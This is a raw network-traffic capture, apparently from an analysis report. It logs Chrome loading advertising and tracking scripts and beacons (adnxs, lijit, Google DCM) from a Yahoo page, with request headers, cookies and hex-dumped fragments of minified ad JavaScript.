XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 676.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	50133	54.197.140.225	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	889	OUT	GET /beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:10 UTC	410	IN	HTTP/1.1 302 Moved Temporarily Server: awselb/2.0 Date: Sat, 27 Apr 2024 22:42:10 GMT Content-Type: text/html Content-Length: 110 Connection: close Location: https://ce.lijit.com:443/beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID
2024-04-27 22:42:10 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.4	50135	172.253.122.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	586	OUT	GET /dcm/dcmads.js HTTP/1.1 Host: www.googletagservices.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:10 UTC	801	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/ads-dcm-tag Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="ads-dcm-tag" Report-To: {"group":"ads-dcm-tag","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-dcm-tag"}]} Content-Length: 18531 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 27 Apr 2024 22:26:00 GMT Expires: Sat, 27 Apr 2024 23:26:00 GMT Cache-Control: public, max-age=3600 Age: 970 Last-Modified: Thu, 04 Apr 2024 14:32:40 GMT Content-Type: text/javascript Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:10 UTC	454	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 62 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 Data Ascii: (function(){var aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.va
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 0a 7d 2c 64 61 3d 63 61 28 74 68 69 73 29 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 64 61 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 62 61 Data Ascii: c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},da=ca(this),h=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 6a 61 3b 0a 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 29 6a 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 6b 61 3b 61 3a 7b 76 61 72 20 6c 61 3d 7b 61 3a 21 30 7d 2c 6d 61 3d 7b 7d 3b 74 72 79 7b 6d 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6c 61 3b 6b 61 3d 6d 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6b 61 3d 21 31 7d 6a 61 3d 6b 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e Data Ascii: Object.create:function(a){var b=function(){};b.prototype=a;return new b},ja;if("function"==typeof Object.setPrototypeOf)ja=Object.setPrototypeOf;else{var ka;a:{var la={a:!0},ma={};try{ma.__proto__=la;ka=ma.a;break a}catch(a){}ka=!1}ja=ka?function(a,b){a.
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 65 73 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 2d 31 21 3d 3d 74 68 69 73 2e 69 6e 64 65 78 4f 66 28 62 2c 63 7c 7c 30 29 7d 7d 29 3b 0a 76 61 72 20 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 61 2b 3d 22 22 29 3b 76 61 72 20 63 3d 30 2c 64 3d 21 31 2c 65 3d 7b 6e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 Data Ascii: ndefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.includes must not be a regular expression");return-1!==this.indexOf(b,c\|\|0)}});var pa=function(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 2c 75 61 3d 71 61 28 31 38 38 35 38 38 37 33 36 29 3b 66 75 6e 63 74 69 6f 6e 20 71 28 29 7b 76 61 72 20 61 3d 6b 2e 6e 61 76 69 67 61 74 6f 72 3b 72 65 74 75 72 6e 20 61 26 26 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 3f 61 3a 22 22 7d 76 61 72 20 72 2c 76 61 3d 6b 2e 6e 61 76 69 67 61 74 6f 72 3b 72 3d 76 61 3f 76 61 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 7c 7c 6e 75 6c 6c 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 77 61 28 61 29 7b 72 65 74 75 72 6e 20 74 61 3f 72 3f 72 2e 62 72 61 6e 64 73 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 62 3d 62 2e 62 72 61 6e 64 29 26 26 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 29 3a 21 31 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 75 28 61 29 7b 72 65 74 75 72 6e 2d 31 21 3d Data Ascii: ,ua=qa(188588736);function q(){var a=k.navigator;return a&&(a=a.userAgent)?a:""}var r,va=k.navigator;r=va?va.userAgentData\|\|null:null;function wa(a){return ta?r?r.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1}function u(a){return-1!=
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 6b 61 69 6f 73 22 29 3b 79 61 28 29 3b 41 61 28 29 7c 7c 75 28 22 69 50 6f 64 22 29 3b 75 28 22 69 50 61 64 22 29 3b 21 75 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 7a 61 28 29 7c 7c 79 61 28 29 7c 7c 78 61 28 29 7c 7c 75 28 22 53 69 6c 6b 22 29 3b 7a 61 28 29 3b 21 75 28 22 53 61 66 61 72 69 22 29 7c 7c 7a 61 28 29 7c 7c 28 76 28 29 3f 30 3a 75 28 22 43 6f 61 73 74 22 29 29 7c 7c 78 61 28 29 7c 7c 28 76 28 29 3f 30 3a 75 28 22 45 64 67 65 22 29 29 7c 7c 28 76 28 29 3f 77 61 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 75 28 22 45 64 67 2f 22 29 29 7c 7c 28 76 28 29 3f 77 61 28 22 4f 70 65 72 61 22 29 3a 75 28 22 4f 50 52 22 29 29 7c 7c 79 61 28 29 7c 7c 75 28 22 53 69 6c 6b 22 29 7c 7c 75 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 42 61 28 29 3b 76 Data Ascii: kaios");ya();Aa()\|\|u("iPod");u("iPad");!u("Android")\|\|za()\|\|ya()\|\|xa()\|\|u("Silk");za();!u("Safari")\|\|za()\|\|(v()?0:u("Coast"))\|\|xa()\|\|(v()?0:u("Edge"))\|\|(v()?wa("Microsoft Edge"):u("Edg/"))\|\|(v()?wa("Opera"):u("OPR"))\|\|ya()\|\|u("Silk")\|\|u("Android")\|\|Ba();v
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 65 63 74 2e 66 72 65 65 7a 65 28 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 50 61 28 61 29 7b 69 66 28 22 62 6f 6f 6c 65 61 6e 22 21 3d 3d 74 79 70 65 6f 66 20 61 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 45 78 70 65 63 74 65 64 20 62 6f 6f 6c 65 61 6e 20 62 75 74 20 67 6f 74 20 22 2b 72 61 28 61 29 2b 22 3a 20 22 2b 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 76 61 72 20 44 3b 0a 66 75 6e 63 74 69 6f 6e 20 51 61 28 61 2c 62 2c 63 29 7b 6e 75 6c 6c 3d 3d 61 26 26 28 61 3d 44 29 3b 44 3d 76 6f 69 64 20 30 3b 69 66 28 6e 75 6c 6c 3d 3d 61 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d 2c 64 7c 3d 35 31 32 29 3a 61 3d 5b Data Ascii: ect.freeze(new function(){});Object.freeze(new function(){});function Pa(a){if("boolean"!==typeof a)throw Error("Expected boolean but got "+ra(a)+": "+a);return a};var D;function Qa(a,b,c){null==a&&(a=D);D=void 0;if(null==a){var d=96;c?(a=[c],d\|=512):a=[
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 35 3e 65 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 63 2e 63 6f 6e 63 61 74 28 64 5b 65 5d 2e 73 70 6c 69 74 28 22 22 29 29 3b 45 61 5b 65 5d 3d 66 3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 66 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 6c 3d 66 5b 67 5d 3b 76 6f 69 64 20 30 3d 3d 3d 78 5b 6c 5d 26 26 28 78 5b 6c 5d 3d 67 29 7d 7d 7d 62 3d 45 61 5b 62 5d 3b 63 3d 41 72 72 61 79 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6c 65 6e 67 74 68 2f 33 29 29 3b 64 3d 62 5b 36 34 5d 7c 7c 22 22 3b 66 6f 72 28 65 3d 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 2d 32 3b 66 2b 3d 33 29 7b 76 61 72 20 70 3d 61 5b 66 5d 2c 6d 3d 61 5b 66 2b 31 5d 3b 6c 3d 61 5b 66 2b 32 5d 3b 67 3d 62 5b 70 3e 3e 32 5d 3b 70 3d 62 5b 28 70 26 33 29 Data Ascii: ;for(var e=0;5>e;e++){var f=c.concat(d[e].split(""));Ea[e]=f;for(var g=0;g<f.length;g++){var l=f[g];void 0===x[l]&&(x[l]=g)}}}b=Ea[b];c=Array(Math.floor(a.length/3));d=b[64]\|\|"";for(e=f=0;f<a.length-2;f+=3){var p=a[f],m=a[f+1];l=a[f+2];g=b[p>>2];p=b[(p&3)
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 20 62 3f 42 28 61 2c 28 64 7c 33 34 29 26 2d 31 32 32 39 33 29 3a 56 61 28 61 2c 58 61 2c 64 26 34 3f 4a 61 3a 63 2c 21 30 2c 21 30 29 7d 61 2e 6f 3d 3d 3d 4b 61 26 26 28 63 3d 61 2e 68 2c 64 3d 41 28 63 29 2c 61 3d 64 26 32 3f 61 3a 59 61 28 61 2c 63 2c 64 2c 21 30 29 29 3b 72 65 74 75 72 6e 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 59 61 28 61 2c 62 2c 63 2c 64 29 7b 61 3d 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 44 3d 62 3d 5a 61 28 62 2c 63 2c 64 29 3b 62 3d 6e 65 77 20 61 28 62 29 3b 44 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 5a 61 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 7c 7c 62 26 32 3f 4a 61 3a 49 61 2c 65 3d 21 21 28 62 26 33 32 29 3b 61 3d 54 61 28 61 2c 62 2c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 Data Ascii: b?B(a,(d\|34)&-12293):Va(a,Xa,d&4?Ja:c,!0,!0)}a.o===Ka&&(c=a.h,d=A(c),a=d&2?a:Ya(a,c,d,!0));return a}}function Ya(a,b,c,d){a=a.constructor;D=b=Za(b,c,d);b=new a(b);D=void 0;return b}function Za(a,b,c){var d=c\|\|b&2?Ja:Ia,e=!!(b&32);a=Ta(a,b,function(f){re
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 6e 2c 64 2c 2b 6d 29 7c 7c 4d 61 28 6e 29 26 26 30 3d 3d 3d 6e 2e 73 69 7a 65 29 6e 3d 6e 75 6c 6c 3b 6e 21 3d 4c 26 26 28 70 3d 21 30 29 7d 6e 75 6c 6c 21 3d 6e 3f 6c 5b 6d 5d 3d 6e 3a 70 3d 21 30 7d 69 66 28 70 29 7b 66 6f 72 28 76 61 72 20 74 20 69 6e 20 6c 29 7b 67 3d 6c 3b 62 72 65 61 6b 20 61 7d 67 3d 6e 75 6c 6c 7d 7d 67 21 3d 63 26 26 28 66 3d 21 30 29 3b 61 2d 2d 7d 66 6f 72 28 6d 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 30 3c 61 3b 61 2d 2d 29 7b 74 3d 61 2d 31 3b 63 3d 62 5b 74 5d 3b 74 2d 3d 6d 3b 69 66 28 21 28 6e 75 6c 6c 3d 3d 63 7c 7c 43 28 63 2c 64 2c 74 29 7c 7c 4d 61 28 63 29 26 26 30 3d 3d 3d 63 2e 73 69 7a 65 29 29 62 72 65 61 6b 3b 76 61 72 20 50 62 3d 21 30 7d 69 66 28 21 66 26 26 21 50 62 29 72 65 74 75 72 6e 20 62 3b 62 3d 41 72 Data Ascii: n,d,+m)\|\|Ma(n)&&0===n.size)n=null;n!=L&&(p=!0)}null!=n?l[m]=n:p=!0}if(p){for(var t in l){g=l;break a}g=null}}g!=c&&(f=!0);a--}for(m=+!!(e&512)-1;0<a;a--){t=a-1;c=b[t];t-=m;if(!(null==c\|\|C(c,d,t)\|\|Ma(c)&&0===c.size))break;var Pb=!0}if(!f&&!Pb)return b;b=Ar

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	50136	151.101.65.108	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	823	OUT	GET /v/s/243/trk.js HTTP/1.1 Host: cdn.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:10 UTC	601	IN	HTTP/1.1 200 OK Connection: close Content-Length: 82359 Content-Type: application/x-javascript ETag: "8ddbd8bafc2492a69e46a808a5e2a727:1709731420.917212" Last-Modified: Wed, 06 Mar 2024 13:23:40 GMT Server: AkamaiNetStorage Cache-Control: max-age=31536000 Expires: Thu, 06 Mar 2025 13:25:52 GMT Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2043128 Date: Sat, 27 Apr 2024 22:42:10 GMT X-Served-By: cache-lga21945-LGA, cache-iad-kcgs7200136-IAD X-Cache: HIT, HIT X-Cache-Hits: 1, 0 X-Timer: S1714257730.136303,VS0,VE1 Vary: Accept-Encoding
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 69 66 28 74 79 70 65 6f 66 20 5f 6c 6e 74 76 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 5f 6c 6e 74 76 3d 7b 7d 7d 5f 6c 6e 74 76 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 5f 72 65 28 48 29 7b 76 61 72 20 65 3d 22 22 3b 66 6f 72 28 76 61 72 20 70 3d 30 3b 70 3c 48 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 7b 76 61 72 20 49 3d 48 2e 63 68 61 72 43 6f 64 65 41 74 28 70 29 3b 69 66 28 49 3e 3d 39 37 26 26 49 3c 3d 31 30 39 7c 7c 49 3e 3d 36 35 26 26 49 3c 3d 37 37 29 7b 49 2b 3d 31 33 7d 65 6c 73 65 7b 69 66 28 49 3e 3d 31 31 30 26 26 49 3c 3d 31 32 32 7c 7c 49 3e 3d 37 38 26 26 49 3c 3d 39 30 29 7b 49 2d 3d 31 33 7d 7d 65 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 49 29 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 Data Ascii: if(typeof _lntv=='undefined'){_lntv={}}_lntv.s=function(){function __re(H){var e="";for(var p=0;p<H.length;p++){var I=H.charCodeAt(p);if(I>=97&&I<=109\|\|I>=65&&I<=77){I+=13}else{if(I>=110&&I<=122\|\|I>=78&&I<=90){I-=13}}e+=String.fromCharCode(I)}return e}var
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 3a 68 7d 2c 6e 61 76 69 67 61 74 6f 72 3a 7b 75 73 65 72 41 67 65 6e 74 3a 69 7d 2c 45 72 72 6f 72 3a 7b 7d 7d 3b 68 62 2e 74 6f 70 3d 68 62 3b 68 62 2e 70 61 72 65 6e 74 3d 68 62 7d 65 6c 73 65 7b 68 62 3d 77 69 6e 64 6f 77 3b 69 62 3d 64 6f 63 75 6d 65 6e 74 7d 5f 6c 6e 74 76 2e 24 77 6e 64 3d 68 62 3b 76 61 72 20 6a 62 2c 6b 62 2c 6c 62 3d 7b 7d 2c 6d 62 3d 5b 5d 2c 6e 62 3d 5b 5d 2c 6f 62 3d 5b 5d 2c 70 62 3d 6a 2c 71 62 2c 72 62 2c 73 62 3d 6b 2c 74 62 3d 6c 3b 76 61 72 20 75 62 3d 5f 6c 6e 74 76 3b 75 62 2e 62 61 73 65 3d 73 62 3b 69 66 28 21 75 62 2e 73 63 73 29 7b 75 62 2e 73 63 73 3d 5b 5d 3b 75 62 2e 73 69 3d 6d 3b 75 62 2e 69 74 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 75 62 2e 72 71 73 3d 5b 5d 3b 75 62 2e 74 73 3d 7b Data Ascii: :h},navigator:{userAgent:i},Error:{}};hb.top=hb;hb.parent=hb}else{hb=window;ib=document}_lntv.$wnd=hb;var jb,kb,lb={},mb=[],nb=[],ob=[],pb=j,qb,rb,sb=k,tb=l;var ub=_lntv;ub.base=sb;if(!ub.scs){ub.scs=[];ub.si=m;ub.it=(new Date).getTime();ub.rqs=[];ub.ts={
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 62 2e 69 6e 64 65 78 4f 66 28 51 29 21 3d 2d 31 7c 7c 28 62 2e 69 6e 64 65 78 4f 66 28 52 29 21 3d 2d 31 7c 7c 62 2e 69 6e 64 65 78 4f 66 28 53 29 21 3d 2d 31 29 29 7b 66 3d 74 7d 65 6c 73 65 20 69 66 28 62 2e 69 6e 64 65 78 4f 66 28 54 29 21 3d 2d 31 29 7b 66 3d 55 7d 65 6c 73 65 20 69 66 28 62 2e 69 6e 64 65 78 4f 66 28 56 29 21 3d 2d 31 29 7b 66 3d 57 7d 65 6c 73 65 20 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 58 29 21 3d 2d 31 29 7b 66 3d 59 7d 65 6c 73 65 7b 66 3d 77 7d 5f 6c 6e 74 76 2e 75 61 3d 64 3b 5f 6c 6e 74 76 2e 70 6c 74 3d 66 3b 72 65 74 75 72 6e 20 64 7d 7d 3b 6d 62 5b 71 5d 3d 7b 27 63 68 72 6f 6d 65 35 32 27 3a 6a 2c 27 65 64 67 65 31 35 27 3a 6f 2c 27 67 65 63 6b 6f 34 30 27 3a 76 2c 27 Data Ascii: b.indexOf(Q)!=-1\|\|(b.indexOf(R)!=-1\|\|b.indexOf(S)!=-1)){f=t}else if(b.indexOf(T)!=-1){f=U}else if(b.indexOf(V)!=-1){f=W}else if(navigator.userAgent.indexOf(X)!=-1){f=Y}else{f=w}_lntv.ua=d;_lntv.plt=f;return d}};mb[q]={'chrome52':j,'edge15':o,'gecko40':v,'
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 56 69 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 6d 6b 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 74 6b 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 4b 70 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 41 66 28 61 2c 62 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 29 7b 61 2e 62 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 49 28 61 2c 62 29 7b 61 2e 63 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 46 67 28 61 2c 62 29 7b 61 2e 61 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 6c 68 28 61 2c 62 29 7b 61 2e 64 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 6d 68 28 61 2c 62 29 7b 61 2e 66 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 6e 69 28 61 2c 62 29 7b 61 2e 69 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 42 63 28 61 29 7b 6b 63 3d 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 42 Data Ascii: unction Vi(){}function mk(){}function tk(){}function Kp(){}function Af(a,b){}function H(a,b){a.b=b}function I(a,b){a.c=b}function Fg(a,b){a.a=b}function lh(a,b){a.d=b}function mh(a,b){a.f=b}function ni(a,b){a.i=b}function Bc(a){kc=a}function B
